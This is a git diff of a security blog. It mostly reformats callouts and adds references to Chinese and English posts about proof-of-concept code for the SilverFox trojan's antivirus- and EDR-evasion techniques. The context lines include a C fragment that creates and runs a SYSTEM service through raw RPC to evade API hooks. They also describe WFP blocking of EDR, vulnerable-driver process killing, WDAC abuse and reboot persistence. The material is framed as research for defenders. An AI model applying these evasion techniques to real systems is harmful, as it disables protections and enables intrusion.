diff --git a/_posts/2025-12-15-silver-fox-poc-2025-zh-cn.md b/_posts/2025-12-15-silver-fox-poc-2025-zh-cn.md index 257662b..3348472 100644 --- a/_posts/2025-12-15-silver-fox-poc-2025-zh-cn.md +++ b/_posts/2025-12-15-silver-fox-poc-2025-zh-cn.md @@ -3,7 +3,7 @@ title: 2025上半年银狐木马对抗手法POC date: 2025-12-15 18:00:00 -0500 categories: [Research] tags: [malware, trojan, silver-fox, winos, apt, malware-analysis, poc] -description: 列举了一些银狐木马常用对抗杀软/EDR手段以及代码实现. +description: 列举了一些银狐木马常用对抗杀软/EDR手段以及代码实现。 mermaid: true media_subpath: /assets/img/2025-12-15-silver-fox-poc-2025 --- @@ -18,7 +18,7 @@ media_subpath: /assets/img/2025-12-15-silver-fox-poc-2025 本文整理了银狐木马常用的对抗 AV/EDR 手段的代码实现。这些内容基于我对多篇分析报告的研读以及开源社区项目的搜集。为了验证这些技术，我制作了一系列测试样本并发布于卡饭安全论坛。 -在本篇博客中，我将分享相关的代码片段、开源 Codebase，并演示如何使用 Python 将其整合为 Demo 测试样本。 +在本篇博客中，我将分享相关的代码片段和开源库，并演示如何使用 Python 将其整合为 Demo 测试样本。 ## 反射式 DLL 注入 (RDI) @@ -46,8 +46,8 @@ Python 社区已经提供了现成的库：[PythonMemoryModule](https://github.c 导入此库后，即可将任意 DLL/EXE 加载进 `python.exe` 宿主进程的内存中。 -> [!NOTE] > 经过本地测试，C/C++ 编译的 EXE 可以完美运行，但 .NET 程序无法正常工作。 +{: .prompt-warning } ```python import pythonmemorymodule @@ -76,8 +76,8 @@ pythonmemorymodule.MemoryModule(data=data) 开源项目 [EDRSilencer](https://github.com/netero1010/EDRSilencer) 正是基于这一原理诞生的。该工具于 2023 年末发布，旨在针对 EDR/AV 进程设置 WFP 过滤器，从而屏蔽其与云端的通信，使其无法上报威胁信息。银狐木马在 2025 年的变种中也采用了完全相同的手段。 -> [!NOTE] > 为了规避检测，EDRSilencer 的作者自己实现了 `FwpmGetAppIdFromFileName0` 函数，避免了直接调用 `CreateFileW`，从而成功绕过了 Minifilter 的监控。 +{: .prompt-info } 以下是基于 EDRSilencer 核心逻辑的代码片段，展示了如何配置 WFP 过滤器以阻断特定进程的流量： @@ -167,7 +167,7 @@ if (result == ERROR_SUCCESS) { ### wamsdk.sys -根据 Check Point 在 2025 年 8 月发布的[报告](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/)，银狐利用了 **WatchDog Antimalware** 软件中的 `wamsdk.sys` 驱动，通过调用 `ZwTerminateProcess` 来强制结束 EDR/杀软进程。两个月后，安全研究员 j3h4ck 在 GitHub 上开源了此驱动的 POC：[WatchDogKiller](https://github.com/j3h4ck/WatchDogKiller)。截至 10 月份，此漏洞驱动尚未被 LOLDrivers 和微软的漏洞驱动阻止列表（Microsoft Vulnerable Driver Blocklist）收录。 +根据 Check Point 在 2025 年 8 月发布的[报告](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/)，银狐利用了 **WatchDog Antimalware** 软件中的 `wamsdk.sys` (名称也可为`amsdk.sys`) 驱动，通过调用 `ZwTerminateProcess` 来强制结束 EDR/杀软进程。两个月后，安全研究员 j3h4ck 在 GitHub 上开源了此驱动的 POC：[WatchDogKiller](https://github.com/j3h4ck/WatchDogKiller)。截至 10 月份，此漏洞驱动尚未被 LOLDrivers 和微软的漏洞驱动阻止列表（Microsoft Vulnerable Driver Blocklist）收录。 `wamsdk.sys` 暴露了两个具有严重安全缺陷的 IOCTL： @@ -178,6 +178,8 @@ if (result == ERROR_SUCCESS) { **漏洞解析：** +[参考文章](https://medium.com/@jehadbudagga/researching-an-apt-attack-and-weaponizing-it-56daabee11c9) + 1. `IOCTL_REGISTER_PROCESS` 存在严重逻辑缺陷，任何进程都可以将自己的 PID 注册到白名单中，**且无任何权限校验**。 ![alt text](1.png) @@ -190,8 +192,8 @@ if (result == ERROR_SUCCESS) { ![alt text](3.png) -> [!NOTE] > 至此，该驱动可以在开启了 HVCI (Hypervisor-Protected Code Integrity) 的最新版 Windows 11 机器上成功运行。 +{: .prompt-tip } 下面是 POC 的关键代码片段： @@ -270,8 +272,8 @@ Usage of gSigFlip.exe: 其核心逻辑在于**直接进行 RPC 通信**，从而绕过高层 Win32 API。 -> [!NOTE] > 通常，EDR/AV 产品会 Hook `OpenSCManager()` 或 `CreateService()` 等标准 API 来监控服务创建行为。而 CreateSvcRpc 不调用这些 API，而是通过命名管道直接与 SCM 的 RPC 接口通信，手工构造 DCE/RPC 协议数据包。这种方式可以有效避开基于 API Hook 的检测机制。 +{: .prompt-info } ### RPC 协议实现细节 @@ -361,19 +363,19 @@ int InvokeCreateSvcRpcMain(char* pExecCmd) return 1; //------------------------------------------------------------------------- - // Step 2: ROpenSCManagerW (Opnum 27) - 获取 SCM 句柄 + // Step 2: ROpenSCManagerW - 获取 SCM 句柄 //------------------------------------------------------------------------- RpcInitialiseRequestData(&RpcConnection); RpcAppendRequestData_Dword(&RpcConnection, 0); // lpMachineName = NULL RpcAppendRequestData_Dword(&RpcConnection, 0); // lpDatabaseName = NULL RpcAppendRequestData_Dword(&RpcConnection, SC_MANAGER_ALL_ACCESS); // dwDesiredAccess - RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER); // Opnum 27 + RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER); // 响应前20字节是 SCM 句柄，后4字节是返回值 memcpy(bServiceManagerObject, &RpcConnection.bProcedureOutputData[0], 20); //------------------------------------------------------------------------- - // Step 3: RCreateServiceW (Opnum 24) - 创建服务 + // Step 3: RCreateServiceW - 创建服务 // 这里手工序列化了 CreateService 的所有参数 //------------------------------------------------------------------------- RpcInitialiseRequestData(&RpcConnection); @@ -390,30 +392,30 @@ int InvokeCreateSvcRpcMain(char* pExecCmd) // ... lpBinaryPathName (我们的 payload 命令行) ... RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceCommandLine, dwServiceCommandLineLength); // ... 其他参数 (LoadOrderGroup, Dependencies 等都设为 NULL) ... - RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE); // Opnum 24 + RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE); // 响应: [0-3] TagId, [4-23] 服务句柄, [24-27] 返回值 memcpy(bServiceObject, &RpcConnection.bProcedureOutputData[4], 20); //------------------------------------------------------------------------- - // Step 4: RStartServiceW (Opnum 31) - 启动服务 + // Step 4: RStartServiceW - 启动服务 // 服务会以 SYSTEM 身份运行，执行我们的 payload //------------------------------------------------------------------------- RpcInitialiseRequestData(&RpcConnection); RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20); // hService RpcAppendRequestData_Dword(&RpcConnection, 0); // argc = 0 RpcAppendRequestData_Dword(&RpcConnection, 0); // argv = NULL - RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE); // Opnum 31 + RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE); // 注意: 返回 ERROR_SERVICE_REQUEST_TIMEOUT (1053) 是正常的 // 因为我们的 "服务" 不是真正的服务程序，不会响应 SCM 的控制请求 //------------------------------------------------------------------------- - // Step 5: RDeleteService (Opnum 2) - 删除服务，清理痕迹 + // Step 5: RDeleteService - 删除服务，清理痕迹 //------------------------------------------------------------------------- RpcInitialiseRequestData(&RpcConnection); RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20); - RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE); // Opnum 2 + RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE); RpcDisconnect(&RpcConnection); return 0; @@ -428,8 +430,8 @@ int InvokeCreateSvcRpcMain(char* pExecCmd) 2024 年底，安全研究员 **Jonathan Beierle** 和 **Logan Goins** 发布了一篇名为 [Weaponizing WDAC - Killing the Dreams of EDR](https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/) 的文章，详细描述了如何滥用 WDAC 机制来禁用杀毒软件和 EDR 的运行。 -> [!NOTE] > 这一攻击手法的核心关键点在于：**WDAC 策略在系统启动阶段的加载优先级高于 EDR 驱动程序**。 +{: .prompt-danger } ### 攻击流程 @@ -500,16 +502,17 @@ flowchart TD 2. 在注册表 `HKEY_CLASSES_ROOT` 下创建以这个随机扩展名为名的键，将其默认值指向一个自定义的程序标识符 `sf-demo`。随后，为 `sf-demo` 创建完整的 `shell\open\command` 结构，命令内容指向攻击者放置在脚本同目录下的 `python.exe`，并将文件路径作为参数传入。 > **目的**：确保系统知道遇到这个随机扩展名的文件时，应该使用指定的 Python 解释器打开。 + {: .prompt-info } 3. 通过向 `Session Manager` 下的 `DOS Devices` 键写入一个新值，将一个未被使用的盘符（如 `X:`）映射到系统的公共开始菜单 `Programs` 目录。 - > [!NOTE] > 这个映射不会立即生效，而是在下次系统启动时由会话管理器（SMSS）处理。 + {: .prompt-info } 4. 攻击者将一对路径写入 `PendingFileRenameOperations` 注册表值。源路径是之前创建的那个带随机扩展名的文件，目标路径则使用刚才映射的虚拟盘符加上 `Startup` 子目录（例如 `X:\Startup\reboot.qmtk`）。 - > [!TIP] > 这个注册表值专门用于记录需要在重启时执行的文件操作（常用于 Windows 更新或驱动安装）。 + {: .prompt-info } ### 重启后的执行逻辑 @@ -628,7 +631,7 @@ def queue_move_to_startup(p: Path, drive_label: str) -> None: 银狐木马（SilverFox）在 2025 年展现出的对抗技术演进，标志着黑产团伙在端点对抗领域的投入已达到准 APT 级别。从利用 WFP 和 WDAC 等系统原生机制“借刀杀人”禁用安全软件，到挖掘冷门 RPC 接口绕过Hook加驱，再到利用 BYOVD 技术直接在内核层通过漏洞驱动对抗 EDR，这些手法无不显示出攻击者对 Windows 操作系统底层机制的深刻理解。尤其值得注意的是，银狐将攻击行为伪装成合法的系统管理操作（如配置防火墙规则、应用控制策略、注册表文件操作等）。这种“白利用”的思路极大地提高了检测难度，传统的基于特征码或单一行为的防御手段已难以奏效。 -> [!NOTE] +{: .prompt-info } > 对于蓝队而言，这不仅意味着需要关注文件层面的威胁，更需要加强对系统配置变更、异常驱动加载以及合法进程异常行为的监控。攻防对抗是一场永无止境的博弈，深入研究这些前沿样本的实现细节，是提升防御体系韧性的必经之路。 ## 附录：卡饭安全论坛样本链接 @@ -656,4 +659,19 @@ ST6_RUN_RANSOMWARE = "Stage 6 - Run Ransomware" ST7_ADD_WDAC_POLICY_P7B = "Stage 7 - Add WDAC blocking policies - Direct" ST7_ADD_WDAC_POLICY_CITOOL = "Stage 7 - Add WDAC blocking policies - CiTool" ST8_REBOOT = "Stage 8 - Reboot" -``` \ No newline at end of file +``` + +## References + +* [PythonMemoryModule](https://github.com/naksyn/PythonMemoryModule) +* [EDRSilencer](https://github.com/netero1010/EDRSilencer) +* [LOLDrivers](https://www.loldrivers.io/) +* [Check Point 报告](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) +* [WatchDogKiller](https://github.com/j3h4ck/WatchDogKiller) +* [Researching an APT attack and weaponizing it](https://medium.com/@jehadbudagga/researching-an-apt-attack-and-weaponizing-it-56daabee11c9) +* [gSigFlip](https://github.com/akkuman/gSigFlip) +* [SspiUacBypass](https://github.com/antonioCoco/SspiUacBypass/blob/main/CreateSvcRpc.cpp) +* [火绒安全报告](https://www.huorong.cn/document/tech/vir_report/1846) +* [Weaponizing WDAC - Killing the Dreams of EDR](https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/) +* [App Control Policy Wizard](https://webapp-wdac-wizard.azurewebsites.net) +* [腾讯安全分析报告](https://www.freebuf.com/articles/vuls/438775.html) \ No newline at end of file diff --git a/_posts/2025-12-15-silver-fox-poc-2025.md b/_posts/2025-12-15-silver-fox-poc-2025.md index beb4360..b045776 100644 --- a/_posts/2025-12-15-silver-fox-poc-2025.md +++ b/_posts/2025-12-15-silver-fox-poc-2025.md @@ -1,5 +1,5 @@ --- -title: POCs for SilverFox Trojan Evasion Techniques in H1 2025 +title: POCs for SilverFox (ValleyRAT, Winos) Evasion Techniques in 2025 date: 2025-12-15 18:00:00 -0500 categories: [Research] tags: [malware, trojan, silver-fox, winos, apt, malware-analysis, poc] @@ -46,8 +46,8 @@ The Python community has provided a ready-made library: [PythonMemoryModule](htt After importing this library, any DLL/EXE can be loaded into the memory of the `python.exe` host process. -> [!NOTE] > After local testing, EXEs compiled with C/C++ run perfectly, but .NET programs do not work properly. +{: .prompt-warning } ```python import pythonmemorymodule @@ -76,8 +76,8 @@ In contrast, WFP's user-mode engine — **Base Filtering Engine (BFE)** — allo The open-source project [EDRSilencer](https://github.com/netero1010/EDRSilencer) was born based on this principle. Released in late 2023, this tool aims to set WFP filters against EDR/AV processes, thereby blocking their communication with the cloud and preventing them from reporting threat information. SilverFox variants in 2025 also adopted the exact same method. -> [!NOTE] > To evade detection, the author of EDRSilencer implemented the `FwpmGetAppIdFromFileName0` function themselves, avoiding direct calls to `CreateFileW`, thus successfully bypassing Minifilter monitoring. +{: .prompt-info } Below are code snippets based on the core logic of EDRSilencer, showing how to configure WFP filters to block traffic for specific processes: @@ -167,7 +167,7 @@ SilverFox has been using vulnerable drivers to counter AV/EDR since its inceptio ### wamsdk.sys -According to a [report](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) released by Check Point in August 2025, SilverFox exploited the `wamsdk.sys` driver in **WatchDog Antimalware** software, calling `ZwTerminateProcess` to forcibly terminate EDR/AV processes. Two months later, security researcher j3h4ck open-sourced the POC for this driver on GitHub: [WatchDogKiller](https://github.com/j3h4ck/WatchDogKiller). As of October, this vulnerable driver had not been included in LOLDrivers or the Microsoft Vulnerable Driver Blocklist. +According to a [report](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) released by Check Point in August 2025, SilverFox exploited the `wamsdk.sys` (or `amsdk.sys`) driver in **WatchDog Antimalware** software, calling `ZwTerminateProcess` to forcibly terminate EDR/AV processes. Two months later, security researcher j3h4ck open-sourced the POC for this driver on GitHub: [WatchDogKiller](https://github.com/j3h4ck/WatchDogKiller). As of October, this vulnerable driver had not been included in LOLDrivers or the Microsoft Vulnerable Driver Blocklist. `wamsdk.sys` exposes two IOCTLs with severe security flaws: @@ -178,6 +178,8 @@ According to a [report](https://research.checkpoint.com/2025/silver-fox-apt-vuln **Vulnerability Analysis:** +[Source](https://medium.com/@jehadbudagga/researching-an-apt-attack-and-weaponizing-it-56daabee11c9) + 1. `IOCTL_REGISTER_PROCESS` has a serious logic flaw; any process can register its PID to the whitelist, **with absolutely no permission validation**. ![alt text](1.png) @@ -190,8 +192,8 @@ According to a [report](https://research.checkpoint.com/2025/silver-fox-apt-vuln ![alt text](3.png) -> [!NOTE] -> At this point, this driver can successfully run on the latest Windows 11 machines with HVCI (Hypervisor-Protected Code Integrity) enabled. +> At this point, the driver can successfully run on the latest Windows 11 machines with HVCI (Hypervisor-Protected Code Integrity) enabled. +{: .prompt-tip } Below is the key code snippet of the POC: @@ -270,8 +272,8 @@ Usage of gSigFlip.exe: Its core logic lies in **communicating directly via RPC**, thereby bypassing high-level Win32 APIs. -> [!NOTE] > Typically, EDR/AV products hook standard APIs like `OpenSCManager()` or `CreateService()` to monitor service creation behavior. CreateSvcRpc does not call these APIs but communicates directly with the SCM's RPC interface via named pipes, manually constructing DCE/RPC protocol packets. This method effectively evades detection mechanisms based on API Hooking. +{: .prompt-info } ### RPC Protocol Implementation Details @@ -361,19 +363,19 @@ int InvokeCreateSvcRpcMain(char* pExecCmd) return 1; //------------------------------------------------------------------------- - // Step 2: ROpenSCManagerW (Opnum 27) - Get SCM Handle + // Step 2: ROpenSCManagerW - Get SCM Handle //------------------------------------------------------------------------- RpcInitialiseRequestData(&RpcConnection); RpcAppendRequestData_Dword(&RpcConnection, 0); // lpMachineName = NULL RpcAppendRequestData_Dword(&RpcConnection, 0); // lpDatabaseName = NULL RpcAppendRequestData_Dword(&RpcConnection, SC_MANAGER_ALL_ACCESS); // dwDesiredAccess - RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER); // Opnum 27 + RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER); // Response first 20 bytes is SCM handle, last 4 bytes is return value memcpy(bServiceManagerObject, &RpcConnection.bProcedureOutputData[0], 20); //------------------------------------------------------------------------- - // Step 3: RCreateServiceW (Opnum 24) - Create Service + // Step 3: RCreateServiceW - Create Service // Here we manually serialize all parameters of CreateService //------------------------------------------------------------------------- RpcInitialiseRequestData(&RpcConnection); @@ -390,30 +392,30 @@ int InvokeCreateSvcRpcMain(char* pExecCmd) // ... lpBinaryPathName (Our payload command line) ... RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceCommandLine, dwServiceCommandLineLength); // ... Other parameters (LoadOrderGroup, Dependencies etc. set to NULL) ... - RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE); // Opnum 24 + RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE); // Response: [0-3] TagId, [4-23] Service Handle, [24-27] Return Value memcpy(bServiceObject, &RpcConnection.bProcedureOutputData[4], 20); //------------------------------------------------------------------------- - // Step 4: RStartServiceW (Opnum 31) - Start Service + // Step 4: RStartServiceW - Start Service // Service will run as SYSTEM, executing our payload //------------------------------------------------------------------------- RpcInitialiseRequestData(&RpcConnection); RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20); // hService RpcAppendRequestData_Dword(&RpcConnection, 0); // argc = 0 RpcAppendRequestData_Dword(&RpcConnection, 0); // argv = NULL - RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE); // Opnum 31 + RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE); // Note: Returning ERROR_SERVICE_REQUEST_TIMEOUT (1053) is normal // Because our "Service" is not a real service program, it won't respond to SCM control requests //------------------------------------------------------------------------- - // Step 5: RDeleteService (Opnum 2) - Delete Service, clean up traces + // Step 5: RDeleteService - Delete Service, clean up traces //------------------------------------------------------------------------- RpcInitialiseRequestData(&RpcConnection); RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20); - RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE); // Opnum 2 + RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE); RpcDisconnect(&RpcConnection); return 0; @@ -428,8 +430,8 @@ According to [Huorong Security's report](https://www.huorong.cn/document/tech/vi In late 2024, security researchers **Jonathan Beierle** and **Logan Goins** published an article titled [Weaponizing WDAC - Killing the Dreams of EDR](https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/), detailing how to abuse the WDAC mechanism to disable the operation of antivirus software and EDR. -> [!NOTE] > The core key point of this attack method is: **WDAC policies have a higher loading priority than EDR drivers during the system boot phase**. +{: .prompt-danger } ### Attack Process @@ -500,16 +502,17 @@ The entire attack chain is designed very ingeniously, mainly divided into the fo 2. Create a key named after this random extension under the registry `HKEY_CLASSES_ROOT`, pointing its default value to a custom program identifier `sf-demo`. Subsequently, create a complete `shell\open\command` structure for `sf-demo`, with the command content pointing to `python.exe` placed by the attacker in the same directory as the script, and passing the file path as an argument. > **Purpose**: Ensure the system knows to use the specified Python interpreter when encountering a file with this random extension. + {: .prompt-info } 3. Map an unused drive letter (e.g., `X:`) to the system's Common Start Menu `Programs` directory by writing a new value to the `DOS Devices` key under `Session Manager`. - > [!NOTE] > This mapping does not take effect immediately but is processed by the Session Manager (SMSS) at the next system boot. + {: .prompt-info } 4. The attacker writes a pair of paths to the `PendingFileRenameOperations` registry value. The source path is the file with the random extension created earlier, and the target path uses the virtual drive letter just mapped plus the `Startup` subdirectory (e.g., `X:\Startup\reboot.qmtk`). - > [!TIP] > This registry value is specifically used to record file operations that need to be performed upon reboot (commonly used for Windows updates or driver installations). + {: .prompt-info } ### Execution Logic After Reboot @@ -628,8 +631,8 @@ def queue_move_to_startup(p: Path, drive_label: str) -> None: The evolution of evasion techniques demonstrated by the SilverFox Trojan in 2025 marks that the investment of black market groups in endpoint confrontation has reached a quasi-APT level. From using native system mechanisms like WFP and WDAC to "borrow a knife to kill" and disable security software, to mining obscure RPC interfaces to bypass Hooks and load drivers, to using BYOVD technology to directly counter EDR at the kernel layer through vulnerable drivers, these methods all show the attacker's profound understanding of the underlying mechanisms of the Windows operating system. It is particularly noteworthy that SilverFox disguises attack behaviors as legitimate system management operations (such as configuring firewall rules, application control policies, registry file operations, etc.). This "Living off the Land" approach greatly increases the difficulty of detection, and traditional defense means based on signatures or single behaviors are no longer effective. -> [!NOTE] > For the Blue Team, this means not only focusing on file-level threats but also strengthening monitoring of system configuration changes, abnormal driver loading, and abnormal behaviors of legitimate processes. Attack and defense confrontation is a never-ending game. In-depth study of the implementation details of these frontier samples is the only way to improve the resilience of the defense system. +{: .prompt-info } ## Appendix: Kafan Security Forum Sample Links @@ -657,3 +660,18 @@ ST7_ADD_WDAC_POLICY_P7B = "Stage 7 - Add WDAC blocking policies - Direct" ST7_ADD_WDAC_POLICY_CITOOL = "Stage 7 - Add WDAC blocking policies - CiTool" ST8_REBOOT = "Stage 8 - Reboot" ``` + +## References + +* [PythonMemoryModule](https://github.com/naksyn/PythonMemoryModule) +* [EDRSilencer](https://github.com/netero1010/EDRSilencer) +* [LOLDrivers](https://www.loldrivers.io/) +* [Check Point Report](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) +* [WatchDogKiller](https://github.com/j3h4ck/WatchDogKiller) +* [Researching an APT attack and weaponizing it](https://medium.com/@jehadbudagga/researching-an-apt-attack-and-weaponizing-it-56daabee11c9) +* [gSigFlip](https://github.com/akkuman/gSigFlip) +* [SspiUacBypass](https://github.com/antonioCoco/SspiUacBypass/blob/main/CreateSvcRpc.cpp) +* [Huorong Security Report](https://www.huorong.cn/document/tech/vir_report/1846) +* [Weaponizing WDAC - Killing the Dreams of EDR](https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/) +* [App Control Policy Wizard](https://webapp-wdac-wizard.azurewebsites.net) +* [Tencent Security Analysis Report](https://www.freebuf.com/articles/vuls/438775.html) diff --git a/_tabs/about.md b/_tabs/about.md index 83aa09a..16fccdd 100644 --- a/_tabs/about.md +++ b/_tabs/about.md @@ -4,4 +4,16 @@ icon: fas fa-info-circle order: 4 --- -Cybersecurity enthusiast. Focus on malware research, endpoint security assessment, and reverse engineering. +业余安全研究员 + +爱好 + +- 睡觉 +- 看蜡笔小新 + +Naïve Security Researcher + +Hobbies + +- Sleep +- Watching Crayon Shin-chan diff --git a/assets/img/favicons/apple-touch-icon.png b/assets/img/favicons/apple-touch-icon.png index 236b59a..0c8a13b 100644 Binary files a/assets/img/favicons/apple-touch-icon.png and b/assets/img/favicons/apple-touch-icon.png differ diff --git a/assets/img/favicons/favicon-96x96.png b/assets/img/favicons/favicon-96x96.png index b2d00f5..25ea906 100644 Binary files a/assets/img/favicons/favicon-96x96.png and b/assets/img/favicons/favicon-96x96.png differ diff --git a/assets/img/favicons/favicon.ico b/assets/img/favicons/favicon.ico index b33212c..fb459a9 100644 Binary files a/assets/img/favicons/favicon.ico and b/assets/img/favicons/favicon.ico differ diff --git a/assets/img/favicons/favicon.svg b/assets/img/favicons/favicon.svg index 2f32c59..9f1e835 100644 --- a/assets/img/favicons/favicon.svg +++ b/assets/img/favicons/favicon.svg @@ -1,3 +1,3 @@ -